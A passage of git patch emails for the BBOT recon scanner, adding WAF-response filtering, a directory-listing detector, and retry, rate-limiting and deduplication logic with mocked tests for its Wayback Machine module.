modules/nuclei.md + - Wayback: modules/wayback.md - Custom YARA Rules: modules/custom_yara_rules.md - Lightfuzz: modules/lightfuzz.md - Misc: From de97820c4fa25a5c152136e7b7817eff3bc935b3 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 18 Feb 2026 14:25:05 -0500 Subject: [PATCH 451/912] add waf string 4xx filtering --- bbot/modules/http.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/bbot/modules/http.py b/bbot/modules/http.py index 5edf0c77d7..5a17a216f2 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -42,6 +42,7 @@ async def setup(self): self.max_response_size = self.config.get("max_response_size", 5242880) self.store_responses = self.config.get("store_responses", False) self.client = self.helpers.blasthttp + self.waf_yara_rule = self.helpers.yara.compile_strings(self.helpers.get_waf_strings(), nocase=True) return True async def filter_event(self, event): @@ -275,6 +276,13 @@ async def handle_batch(self, *events): self.debug(f'Discarding 404 from "{url}"') continue + # discard 4xx responses that contain WAF strings + if 400 <= status_code < 500: + body = j.get("body", "") + if body and await self.helpers.yara.match(self.waf_yara_rule, body): + self.debug(f'Discarding WAF {status_code} from "{url}"') + continue + # main URL tags = [f"status-{status_code}"] From d448bca82ea785a5ce98bdd8f327b742b1de6e91 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 18 Feb 2026 14:52:05 -0500 Subject: [PATCH 452/912] add Akamai WAF string to waf_strings helper --- bbot/core/helpers/misc.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index eb2e322bac..bc7fcb2102 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -2691,6 +2691,7 @@ def get_waf_strings(): return [ "The requested URL was rejected", "This content has been blocked", + "You don't have permission to access ", ] From 9b817918765c35c96249c68905d97bd99fd97f2c Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 18 Feb 2026 15:21:51 -0500 Subject: [PATCH 453/912] add directory listing excavate submodule --- bbot/modules/internal/excavate.py | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 84824ee0e4..6033a42710 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -1002,6 +1002,34 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte if yara_results: event.add_tag("login-page") + class DirectoryListingExtractor(ExcavateRule): + description = "Detects directory listing pages from web servers." + signatures = { + "Apache_Nginx": '"Index of /"', + "IIS": '"[To Parent Directory]"', + "Python_HTTP_Server": '"<h1>Directory listing for"', + "Generic_Directory_Listing": '"<title>Directory Listing"', + } + yara_rules = {} + + def __init__(self, excavate): + super().__init__(excavate) + signature_component_list = [] + for signature_name, signature in self.signatures.items(): + signature_component_list.append(rf"${signature_name} = {signature}") + signature_component = " ".join(signature_component_list) + self.yara_rules["directory_listing"] = ( + f'rule directory_listing {{meta: description = "contains a directory listing" strings: {signature_component} condition: any of them}}' + ) + + async def process(self, yara_results, event, yara_rule_settings, discovery_context): + for identifier in yara_results.keys(): + for findings in yara_results[identifier]: + event_data = { + "description": f"{discovery_context} {yara_rule_settings.description} ({identifier})" + } + await self.report(event_data, event, yara_rule_settings, discovery_context, event_type="FINDING") + def add_yara_rule(self, rule_name, rule_content, rule_instance): rule_instance.name = rule_name self.yara_rules_dict[rule_name] = rule_content From 1991e28a8ab3f8072ea7a8fb4393869d9f35f620 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 18 Feb 2026 15:25:18 -0500 Subject: [PATCH 454/912] improve wayback CDX error logging and increase timeout Include the actual failure reason (timeout, connection error, HTTP status code) in retry and warning messages so it's clear why archive.org requests failed. Increase CDX timeout from +30s to +60s. --- bbot/modules/wayback.py | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 5f62417a36..0c0497738e 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -187,15 +187,23 @@ async def _fetch_cdx(self, query): """Fetch URLs from the CDX API with retries. Returns the URL list or None on failure.""" waybackurl = f"{self.base_url}/cdx/search/cdx?url={self.helpers.quote(query)}&matchType=domain&output=json&fl=original&collapse=original" r = None + last_error = None for i in range(3): - r = await self.helpers.request(waybackurl, timeout=self.http_timeout + 30) - if r: - break + try: + r = await self.helpers.request(waybackurl, timeout=self.http_timeout + 60, raise_error=True) + except Exception as e: + last_error = str(e) + r = None + if r is not None: + if r.status_code == 200: + break + last_error = f"HTTP status {r.status_code}" + r = None if i < 2: - self.verbose(f'Error connecting to archive.org for query "{query}", retrying ({i + 1}/2)') + self.verbose(f'Error connecting to archive.org for query "{query}" ({last_error}), retrying ({i + 1}/2)') await self.helpers.sleep(2**i) - if not r: - self.warning(f'Error connecting to archive.org for query "{query}"') + if r is None: + self.warning(f'Error connecting to archive.org for query "{query}": {last_error}') return None try: j = r.json() From 5d0cde76071bd99924dbe19e8427d2e6416e0fcf Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 18 Feb 2026 21:17:22 -0500 Subject: [PATCH 455/912] add rate limiting, retry, and bloom filter dedup to wayback archive fetching --- bbot/modules/wayback.py | 165 ++++++++++++------ .../module_tests/test_module_wayback.py | 77 ++++++++ 2 files changed, 191 insertions(+), 51 deletions(-) diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 0c0497738e..363769748f 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -60,6 +60,10 @@ async def setup(self): self.garbage_threshold = self.config.get("garbage_threshold", 10) self._parameter_cache = {} self._archive_cache = {} + # bloom filter to deduplicate archive fetches by the response URL archive.org actually served + # (multiple request URLs can redirect to the same archived snapshot) + # 32M bits (~4MB) supports ~400K entries with negligible false-positive rate + self._archive_bloom = self.helpers.bloom_filter(32000000) return await super().setup() async def handle_event(self, event): @@ -343,6 +347,10 @@ def _strip_wayback_wrapper(self, body): body = self._wayback_stale_ref_re.sub("", body) return body + # archive.org rate-limits aggressively; keep concurrency low to avoid cascading timeouts + _archive_threads = 2 + _archive_max_retries = 2 + async def finish(self): if not self.archive or not self._archive_cache: return @@ -367,66 +375,121 @@ async def finish(self): if not url_metadata: return - gen = self.helpers.request_batch(list(url_metadata), timeout=self.http_timeout + 30, follow_redirects=True) + total = len(url_metadata) + self.info(f"Fetching {total:,} archived pages from archive.org (concurrency={self._archive_threads})") + + failed, succeeded, processed = await self._fetch_archive_batch(url_metadata, total, 0) + + # retry failed URLs with backoff + for retry_num in range(1, self._archive_max_retries + 1): + if not failed: + break + delay = 2**retry_num + self.info( + f"Retrying {len(failed):,} failed archive fetches (attempt {retry_num}/{self._archive_max_retries}, " + f"backoff {delay}s)" + ) + await self.helpers.sleep(delay) + retry_metadata = {url: url_metadata[url] for url in failed} + new_failed, new_succeeded, processed = await self._fetch_archive_batch( + retry_metadata, total, processed - len(failed) + ) + succeeded += new_succeeded + failed = new_failed + + if failed: + self.warning(f"Failed to fetch {len(failed):,} archived URLs after retries") + self.info(f"Archive loading complete: {succeeded:,}/{total:,} succeeded") + + async def _fetch_archive_batch(self, url_metadata, total, processed_offset): + """Fetch a batch of archive URLs. Returns (failed_urls, success_count, processed_count).""" + failed = [] + succeeded = 0 + processed = processed_offset + + gen = self.helpers.request_batch( + list(url_metadata), threads=self._archive_threads, timeout=self.http_timeout + 30, follow_redirects=True + ) async for archive_url, r in gen: + processed += 1 raw_url, parent_event = url_metadata[archive_url] if not r or r.status_code != 200: status = getattr(r, "status_code", "no response") if r else "no response" self.verbose(f"Archive fetch failed for {raw_url}: status={status}") + failed.append(archive_url) continue - j = self.helpers.response_to_json(r) - if not j: - self.verbose(f"Failed to parse archive response for {raw_url}") - continue + if await self._process_archive_response(r, raw_url, parent_event): + succeeded += 1 - if "body" in j: - j["body"] = self._strip_wayback_wrapper(j["body"]) + if processed % 50 == 0 or processed == total: + self.verbose(f"Archive progress: {processed:,}/{total:,} ({succeeded:,} succeeded, {len(failed):,} failed)") - # strip wayback-injected headers to prevent excavate from extracting archive.org artifacts - if "header" in j: - j["header"] = { - k: v for k, v in j["header"].items() if not k.startswith("x_archive_") and k != "set_cookie" - } - if "raw_header" in j: - j["raw_header"] = "\r\n".join( - line - for line in j["raw_header"].split("\r\n") - if not line.lower().startswith(("set-cookie:", "x-archive-")) - ) + return failed, succeeded, processed - # use the original URL so event.host returns the original host, not web.archive.org - # this prevents internal modules (speculate, host, dnsresolve) from treating archive.org as a target - parsed_original = urlparse(raw_url) - hostname = str(parsed_original.hostname or "") - port = parsed_original.port or (443 if parsed_original.scheme == "https" else 80) - scheme = parsed_original.scheme - # strip redundant port (e.g. :80 for http, :443 for https) - if (scheme == "http" and port == 80) or (scheme == "https" and port == 443): - netloc = hostname - else: - netloc = f"{hostname}:{port}" - j["url"] = urlunparse((scheme, netloc, parsed_original.path or "/", "", parsed_original.query, "")) - # store the archive URL for provenance — downstream modules can check this field - j["archive_url"] = str(r.url) - # override host/port/scheme/path to match the original URL (response_to_json set them from archive.org) - j["host"] = hostname - j["port"] = port - j["scheme"] = scheme - j["path"] = parsed_original.path or "/" - - http_response = self.make_event( - j, - "HTTP_RESPONSE", - parent_event, - tags=["from-wayback", "archived"], - context=f"{{module}} loaded archived version of {raw_url} from the Wayback Machine", + async def _process_archive_response(self, r, raw_url, parent_event): + """Process a successful archive.org response into an HTTP_RESPONSE event. Returns True on success.""" + # deduplicate by the actual response URL archive.org served (after redirects) + # multiple request URLs can redirect to the same archived snapshot + response_url = str(r.url) + if response_url in self._archive_bloom: + self.verbose(f"Skipping duplicate archive response for {raw_url} (response URL: {response_url})") + return False + self._archive_bloom.add(response_url) + + j = self.helpers.response_to_json(r) + if not j: + self.verbose(f"Failed to parse archive response for {raw_url}") + return False + + if "body" in j: + j["body"] = self._strip_wayback_wrapper(j["body"]) + + # strip wayback-injected headers to prevent excavate from extracting archive.org artifacts + if "header" in j: + j["header"] = { + k: v for k, v in j["header"].items() if not k.startswith("x_archive_") and k != "set_cookie" + } + if "raw_header" in j: + j["raw_header"] = "\r\n".join( + line + for line in j["raw_header"].split("\r\n") + if not line.lower().startswith(("set-cookie:", "x-archive-")) ) - if http_response is None: - self.verbose(f"Failed to create HTTP_RESPONSE event for {raw_url}") - continue - # keep the event in scope so modules like badsecrets can process the archived content - http_response.scope_distance = 0 - self.verbose(f"Emitting archived HTTP_RESPONSE for dead URL: {raw_url}") - await self.emit_event(http_response) + + # use the original URL so event.host returns the original host, not web.archive.org + # this prevents internal modules (speculate, host, dnsresolve) from treating archive.org as a target + parsed_original = urlparse(raw_url) + hostname = str(parsed_original.hostname or "") + port = parsed_original.port or (443 if parsed_original.scheme == "https" else 80) + scheme = parsed_original.scheme + # strip redundant port (e.g. :80 for http, :443 for https) + if (scheme == "http" and port == 80) or (scheme == "https" and port == 443): + netloc = hostname + else: + netloc = f"{hostname}:{port}" + j["url"] = urlunparse((scheme, netloc, parsed_original.path or "/", "", parsed_original.query, "")) + # store the archive URL for provenance — downstream modules can check this field + j["archive_url"] = str(r.url) + # override host/port/scheme/path to match the original URL (response_to_json set them from archive.org) + j["host"] = hostname + j["port"] = port + j["scheme"] = scheme + j["path"] = parsed_original.path or "/" + + http_response = self.make_event( + j, + "HTTP_RESPONSE", + parent_event, + tags=["from-wayback", "archived"], + context=f"{{module}} loaded archived version of {raw_url} from the Wayback Machine", + ) + if http_response is None: + self.verbose(f"Failed to create HTTP_RESPONSE event for {raw_url}") + return False + # keep the event in scope so modules like badsecrets can process the archived content + http_response.scope_distance = 0 + self.verbose(f"Emitting archived HTTP_RESPONSE for dead URL: {raw_url}") + await self.emit_event(http_response) + return True diff --git a/bbot/test/test_step_2/module_tests/test_module_wayback.py b/bbot/test/test_step_2/module_tests/test_module_wayback.py index 9b2f322332..d7636f4d21 100644 --- a/bbot/test/test_step_2/module_tests/test_module_wayback.py +++ b/bbot/test/test_step_2/module_tests/test_module_wayback.py @@ -441,3 +441,80 @@ def check(self, module_test, events): stripped = w._strip_wayback_wrapper(body) assert "/web/20250529193232js_/" not in stripped assert "https://www.example.com/script.js" in stripped + + +class TestWaybackArchiveBloomDedup(ModuleTestBase): + """When multiple archive URLs redirect to the same snapshot, bloom filter prevents duplicate HTTP_RESPONSEs.""" + + module_name = "wayback" + modules_overrides = ["wayback"] + whitelist = ["blacklanternsecurity.com", "127.0.0.1"] + config_overrides = {"modules": {"wayback": {"urls": True, "archive": True}}} + + async def setup_after_prep(self, module_test): + # CDX returns two different dead URLs + module_test.httpx_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original", + json=[ + ["original"], + ["http://127.0.0.1:1/page-a"], + ["http://127.0.0.1:1/page-b"], + ], + ) + # both archive URLs redirect to the same archived snapshot + redirect_target = "http://web.archive.org/web/20230101120000/http://127.0.0.1:1/same-page" + module_test.httpx_mock.add_response( + url="http://web.archive.org/web/http://127.0.0.1:1/page-a", + status_code=301, + headers={"Location": redirect_target}, + ) + module_test.httpx_mock.add_response( + url="http://web.archive.org/web/http://127.0.0.1:1/page-b", + status_code=301, + headers={"Location": redirect_target}, + ) + # two responses for the redirect target (one consumed per redirect) + for _ in range(2): + module_test.httpx_mock.add_response( + url=redirect_target, + text="<html><body>archived content</body></html>", + headers={"Content-Type": "text/html"}, + ) + + def check(self, module_test, events): + http_responses = [e for e in events if e.type == "HTTP_RESPONSE" and "from-wayback" in e.tags] + assert len(http_responses) == 1, ( + f"Expected exactly 1 archived HTTP_RESPONSE (bloom dedup should prevent duplicate), got {len(http_responses)}" + ) + + +class TestWaybackArchiveRetry(ModuleTestBase): + """Archive fetches that fail on first attempt should be retried and succeed.""" + + module_name = "wayback" + modules_overrides = ["wayback"] + whitelist = ["blacklanternsecurity.com", "127.0.0.1"] + config_overrides = {"modules": {"wayback": {"urls": True, "archive": True}}} + + async def setup_after_prep(self, module_test): + module_test.httpx_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original", + json=[["original"], ["http://127.0.0.1:1/retry-page"]], + ) + # first attempt: 503 (archive.org overloaded) + module_test.httpx_mock.add_response( + url="http://web.archive.org/web/http://127.0.0.1:1/retry-page", + status_code=503, + ) + # retry attempt: 200 + module_test.httpx_mock.add_response( + url="http://web.archive.org/web/http://127.0.0.1:1/retry-page", + text="<html><body>recovered content</body></html>", + headers={"Content-Type": "text/html"}, + ) + + def check(self, module_test, events): + http_responses = [e for e in events if e.type == "HTTP_RESPONSE" and "from-wayback" in e.tags] + assert len(http_responses) == 1, ( + f"Expected 1 archived HTTP_RESPONSE from retry, got {len(http_responses)}" + ) From c0ccda545ad28a6a139b5d0535e65c12af9e4f72 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 18 Feb 2026 21:42:47 -0500 Subject: [PATCH 456/912] add CDX server-side filters and 100k URL limit to wayback module --- bbot/modules/wayback.py | 16 ++++- .../module_tests/test_module_wayback.py | 68 +++++++++---------- 2 files changed, 49 insertions(+), 35 deletions(-) diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 363769748f..f90662f930 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -187,9 +187,23 @@ async def _check_interesting_files(self, interesting_files, event): context=f"{{module}} found interesting archived file: {raw_url}", ) + # CDX API filters applied server-side to reduce response size + _cdx_filters = ( + "filter=!statuscode:404", + "filter=!statuscode:301", + "filter=!statuscode:302", + "filter=!mimetype:image/.*", + "filter=!mimetype:text/css", + "filter=!mimetype:warc/revisit", + ) + _cdx_limit = 100000 + async def _fetch_cdx(self, query): """Fetch URLs from the CDX API with retries. Returns the URL list or None on failure.""" - waybackurl = f"{self.base_url}/cdx/search/cdx?url={self.helpers.quote(query)}&matchType=domain&output=json&fl=original&collapse=original" + params = f"url={self.helpers.quote(query)}&matchType=domain&output=json&fl=original&collapse=original" + params += f"&limit={self._cdx_limit}" + params += "&" + "&".join(self._cdx_filters) + waybackurl = f"{self.base_url}/cdx/search/cdx?{params}" r = None last_error = None for i in range(3): diff --git a/bbot/test/test_step_2/module_tests/test_module_wayback.py b/bbot/test/test_step_2/module_tests/test_module_wayback.py index d7636f4d21..576f2b1723 100644 --- a/bbot/test/test_step_2/module_tests/test_module_wayback.py +++ b/bbot/test/test_step_2/module_tests/test_module_wayback.py @@ -11,7 +11,7 @@ class TestWayback(ModuleTestBase): async def setup_after_prep(self, module_test): module_test.blasthttp_mock.add_response( - url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original", + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[["original"], ["http://asdf.blacklanternsecurity.com"]], ) @@ -26,8 +26,8 @@ class TestWaybackParameters(ModuleTestBase): config_overrides = {"modules": {"wayback": {"urls": True, "parameters": True}}} async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( - url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original", + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[ ["original"], ["http://127.0.0.1:8888/page?foo=bar&baz=qux"], @@ -65,11 +65,11 @@ class TestWaybackInterestingFiles(ModuleTestBase): config_overrides = {"modules": {"wayback": {"urls": True}}} async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( - url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original", + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[["original"], ["http://blacklanternsecurity.com/backup/site.zip"]], ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="http://web.archive.org/web/http://blacklanternsecurity.com/backup/site.zip", headers={"Content-Type": "application/zip", "Content-Length": "1048576"}, ) @@ -106,12 +106,12 @@ class TestWaybackArchive(ModuleTestBase): async def setup_after_prep(self, module_test): # wayback returns a URL on an unreachable port — httpx binary can't verify it - module_test.httpx_mock.add_response( - url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original", + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[["original"], ["http://127.0.0.1:1/deadpage"]], ) # the archived page itself contains the vulnerable viewstate - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="http://web.archive.org/web/http://127.0.0.1:1/deadpage", text=self.sample_viewstate, headers={"Content-Type": "text/html"}, @@ -148,8 +148,8 @@ class TestWaybackHttpHttpsDedup(ModuleTestBase): config_overrides = {"modules": {"wayback": {"urls": True}}} async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( - url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original", + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[ ["original"], ["http://blacklanternsecurity.com/page"], @@ -175,8 +175,8 @@ class TestWaybackHttpOnlyKept(ModuleTestBase): config_overrides = {"modules": {"wayback": {"urls": True}}} async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( - url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original", + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[ ["original"], ["http://blacklanternsecurity.com/old-http-only"], @@ -200,8 +200,8 @@ class TestWaybackCdnCgiBlacklist(ModuleTestBase): config_overrides = {"modules": {"wayback": {"urls": True}}} async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( - url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original", + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[ ["original"], ["https://blacklanternsecurity.com/cdn-cgi/challenge-platform/h/g/something"], @@ -229,11 +229,11 @@ class TestWaybackArchiveHostField(ModuleTestBase): config_overrides = {"modules": {"wayback": {"urls": True, "archive": True}}} async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( - url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original", + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[["original"], ["http://127.0.0.1:1/archived-page"]], ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="http://web.archive.org/web/http://127.0.0.1:1/archived-page", text="<html><body>archived content</body></html>", headers={"Content-Type": "text/html"}, @@ -273,12 +273,12 @@ class TestWaybackArchiveHuntFinding(ModuleTestBase): async def setup_after_prep(self, module_test): # CDX returns a dead URL (port 1 = unreachable) with a huntable form - module_test.httpx_mock.add_response( - url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original", + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[["original"], ["http://127.0.0.1:1/search"]], ) # the archived page contains a form with "redirect" — a known hunt parameter - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="http://web.archive.org/web/http://127.0.0.1:1/search", text='<html><form method="GET" action="/search"><input name="redirect" value="test"></form></html>', headers={"Content-Type": "text/html"}, @@ -359,8 +359,8 @@ def request_handler(self, request): async def setup_after_prep(self, module_test): module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" # CDX returns a URL with a search parameter pointing at the local httpserver - module_test.httpx_mock.add_response( - url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original", + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[["original"], ["http://127.0.0.1:8888/?search=test"]], ) # httpserver handles httpx verification and lightfuzz probes @@ -390,8 +390,8 @@ class TestWaybackStripBodyArtifacts(ModuleTestBase): modules_overrides = ["wayback"] async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( - url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original", + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[["original"]], ) @@ -453,8 +453,8 @@ class TestWaybackArchiveBloomDedup(ModuleTestBase): async def setup_after_prep(self, module_test): # CDX returns two different dead URLs - module_test.httpx_mock.add_response( - url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original", + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[ ["original"], ["http://127.0.0.1:1/page-a"], @@ -463,19 +463,19 @@ async def setup_after_prep(self, module_test): ) # both archive URLs redirect to the same archived snapshot redirect_target = "http://web.archive.org/web/20230101120000/http://127.0.0.1:1/same-page" - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="http://web.archive.org/web/http://127.0.0.1:1/page-a", status_code=301, headers={"Location": redirect_target}, ) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="http://web.archive.org/web/http://127.0.0.1:1/page-b", status_code=301, headers={"Location": redirect_target}, ) # two responses for the redirect target (one consumed per redirect) for _ in range(2): - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url=redirect_target, text="<html><body>archived content</body></html>", headers={"Content-Type": "text/html"}, @@ -497,17 +497,17 @@ class TestWaybackArchiveRetry(ModuleTestBase): config_overrides = {"modules": {"wayback": {"urls": True, "archive": True}}} async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( - url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original", + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", json=[["original"], ["http://127.0.0.1:1/retry-page"]], ) # first attempt: 503 (archive.org overloaded) - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="http://web.archive.org/web/http://127.0.0.1:1/retry-page", status_code=503, ) # retry attempt: 200 - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="http://web.archive.org/web/http://127.0.0.1:1/retry-page", text="<html><body>recovered content</body></html>", headers={"Content-Type": "text/html"}, From b55d2a1ec50f515fb72b3b32ea38118727dab4a1 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 18 Feb 2026 23:01:24 -0500 Subject: [PATCH 457/912] fixing wayback rate limiting --- bbot/modules/wayback.py | 102 +++++++++++++++--- .../module_tests/test_module_wayback.py | 4 +- 2 files changed, 87 insertions(+), 19 deletions(-) diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index f90662f930..9e7a06ba8e 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -218,7 +218,9 @@ async def _fetch_cdx(self, query): last_error = f"HTTP status {r.status_code}" r = None if i < 2: - self.verbose(f'Error connecting to archive.org for query "{query}" ({last_error}), retrying ({i + 1}/2)') + self.verbose( + f'Error connecting to archive.org for query "{query}" ({last_error}), retrying ({i + 1}/2)' + ) await self.helpers.sleep(2**i) if r is None: self.warning(f'Error connecting to archive.org for query "{query}": {last_error}') @@ -361,9 +363,12 @@ def _strip_wayback_wrapper(self, body): body = self._wayback_stale_ref_re.sub("", body) return body - # archive.org rate-limits aggressively; keep concurrency low to avoid cascading timeouts - _archive_threads = 2 - _archive_max_retries = 2 + # archive.org rate-limits aggressively; pace requests to avoid cascading ReadErrors + _archive_per_request_retries = 3 + _archive_batch_retries = 1 + _archive_delay = 0.5 # seconds between successful requests + _archive_error_delay = 3 # initial backoff seconds after a failed request + _archive_429_default_delay = 30 # default delay on 429 when no retry-after header async def finish(self): if not self.archive or not self._archive_cache: @@ -394,13 +399,14 @@ async def finish(self): failed, succeeded, processed = await self._fetch_archive_batch(url_metadata, total, 0) - # retry failed URLs with backoff - for retry_num in range(1, self._archive_max_retries + 1): + # batch-level retry as safety net (per-request retry handles most transient errors, + # but a temporary outage window could still leave a batch of failures) + for retry_num in range(1, self._archive_batch_retries + 1): if not failed: break - delay = 2**retry_num + delay = 30 * retry_num self.info( - f"Retrying {len(failed):,} failed archive fetches (attempt {retry_num}/{self._archive_max_retries}, " + f"Retrying {len(failed):,} failed archive fetches (batch retry {retry_num}/{self._archive_batch_retries}, " f"backoff {delay}s)" ) await self.helpers.sleep(delay) @@ -416,21 +422,22 @@ async def 